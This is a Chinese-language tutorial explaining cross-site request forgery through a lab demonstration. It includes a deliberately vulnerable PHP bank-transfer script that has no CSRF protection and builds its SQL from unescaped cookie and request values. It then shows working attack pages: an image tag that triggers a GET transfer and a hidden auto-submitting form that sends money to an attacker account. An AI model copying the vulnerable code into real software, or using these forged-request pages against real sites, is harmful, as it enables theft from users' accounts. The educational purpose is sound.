跨站點請求僞造(CSRF)
CSRF簡介
-
CSRF( Cross-Site Request Forgery)是指跨站請求僞造,也常常被稱爲“ One Click Attack或者“ Session Riding”,通常縮寫爲CSRF或是XSRF。
-
雖然CSRF聽起來像XSS跨站腳本攻擊,但CSRF與XSS的攻擊方式完全不同。
-
CSRF與XSS相比,雖然CSRF攻擊不太流行,但卻更加難以防範,所以被認爲CSRF比XSS更具危險性,CSRF在業內具有“甦醒的巨人”的稱號。
-
可以這麼理解CSRF攻擊:
攻擊者盜用了你的身份,以你的名義進行某些非法操作。 CSRF能夠使用你的賬戶發送郵件,獲取你的敏感信息,甚至盜走你的財產。
CSRF攻擊原理
會話的產生、使用、結束
- 當我們打開或登錄某個網站後,瀏覽器與網站所存放的服務器將會產生一個會話
- 在這個會話沒有結束時,你就可以利用你的權限對網站進行某些操作,如:發表文章、發送郵件、刪除文章等。
- 當這個會話結束後,你再進行某些操作的時候,Web應用程序可能會提示你“您的會話已過期”、“請重新登錄”等提示。
會話的案例
- 登錄網上銀行後,瀏覽器已經跟可信的站點建立了一個經過認證的會話。
- 之後,所有通過這個經過認證的會話發送請求,都被視爲可信的動作,例如,
轉賬、匯款等操作。 - 當我們在一段時間內不進行操作後,經過認證的會話可能會斷開,再次進行
轉賬、匯款操作時,這個站點可能會提示你:您的身份已過期,請重新登錄、會話已結束等信息。
CSRF攻擊是建立在會話之上的
- 當你登錄了網上銀行,正在進行轉賬業務,
- 這時你的某個QQ好友(攻擊者)發來一條消息(URL),這條消息是攻擊者精心構造的轉賬業務代碼,而且與你所登錄的是同一家網絡銀行,
- 你可能認爲這個網站是安全的,然而當你打開了這條URL後,你賬戶中的餘額可能會全部丟失。
總結
- 因爲你的瀏覽器正處於與此網站的會話之中,那麼任何操作都是合法的,
- 而攻擊者構造的這段代碼只不過是正常的轉賬操作代碼而已
CSRF攻擊案例
攻擊案例
bank server的轉賬代碼
<?php
include './config.inc.php';
if(isset($_COOKIE['username'])){
var_dump($_REQUEST);
var_dump($_COOKIE);
$from['name']=$_COOKIE['username'];
$to['name']=$_REQUEST['username'];
$money=$_REQUEST['money'];
var_dump($from);
var_dump($to);
var_dump($money);
//對轉賬主體的操作,查金額,減少金額
$link = mysqli_connect($db_host,$db_user,$db_psd,$db_name);
$sql_from = "select money from member where name='{$from['name']}'";
//echo $sql_from ;
$results = mysqli_query($link,$sql_from);
$result=mysqli_fetch_assoc($results);
$from['money']=$result['money'];
$from['money']-=$money;
$sql_from ="update member set money='{$from['money']}' where name='{$from['name']}'";
mysqli_query($link,$sql_from);
//對轉賬客體操作,查金額,增加數據
$sql_to="select money from member where name='{$to['name']}'";
$results=mysqli_query($link,$sql_to);
$result=mysqli_fetch_assoc($results);
$to['money']=$result['money'];
$to['money']+=$money;
$sql_to ="update member set money='{$to['money']}' where name='{$to['name']}'";
mysqli_query($link,$sql_to);
//寫入轉賬記錄
$sql_r="insert into record(from_name,to_name,money)values('{$from['name']}','{$to['name']}','{$money}')";
mysqli_query($link,$sql_r);
header("Location:./self.php");
}else{
echo "Error!";
}
?>
- 主要是username、money的值,代表給username轉賬money
第一步:環境搭建
第二步 test登錄bank server,查看自己的金額
第三步 test同時訪問hack server服務器上的釣魚網站
第四步 test用戶點擊釣魚網站的鏈接
第五步 test再次查看自己的金額,發現金額減少
代碼分析
釣魚網站的首頁index.html
<meta charset='utf-8'>
<img src='./1.jpg'><br />
<a href='get.html' style='color:red;font-size:100px'>屠龍寶刀,點擊就送 通道一</a><br />
<a href='post.html' style='color:red;font-size:100px'>屠龍寶刀,點擊就送 通道二</a><br />
通道一:使用get方式提交:get.html
meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.146.147/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='寶刀在手,誰與爭鋒'>
- src=…表示跳轉到轉賬界面
- username=hacker代表轉賬的對方名稱
- money=100代表轉賬的金額
- submit=submit代表提交
通道二:使用post方式提交:post.html
<meta charset='utf-8'>
<form name='csrf' action='http://192.146.147/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>寶刀在手,誰與爭鋒</a><br />
總結
- CSRF的攻擊建立在瀏覽器與Web服務器的會話中
- 欺騙用戶訪問URL